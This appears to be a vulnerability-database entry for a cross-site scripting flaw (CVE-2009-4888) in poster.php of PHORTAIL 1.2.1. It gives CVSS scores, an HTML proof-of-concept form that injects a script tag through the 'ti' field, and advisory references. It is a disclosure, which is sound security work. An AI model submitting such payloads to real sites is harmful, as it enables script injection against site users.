PHORTAIL v1.2.1 XSS Vulnerability

2010.06.15

Credit: Jonathan Salwan

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-4888

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

<html><head><title>PHORTAIL v1.2.1 XSS Vulnerability</title></head>
<hr><pre>
Module : PHORTAIL 1.2.1
download : http://www.phpscripts-fr.net/scripts/download.php?id=330
Vul : XSS Vulnerability
file : poster.php
Author : Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
</pre><hr>
<form name="rapporter" action="http://localhost/poster.php" method="POST"></br>
<input type="hidden" name="ajn" value="1">
<input type="text" name="pseudo" value="xss">=>Pseudo</br>
<input type="text" name="email" value="xss@xss.com">=>E-mail</br>
<input type="text" name="ti" value="<script>alert('xss PoC');</script>">=>XSS vulnerability</br>
<input type="text" name="txt" value="xss">=>text</br>
<input type="submit" value="Start"></br>
</form>
</html>

References:

http://xforce.iss.net/xforce/xfdb/49143

http://www.vupen.com/english/advisories/2009/0631

http://www.securityfocus.com/bid/34038

http://secunia.com/advisories/34203

http://packetstormsecurity.org/0903-exploits/phortail-xss.txt

http://osvdb.org/52502

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

PHORTAIL v1.2.1 XSS Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.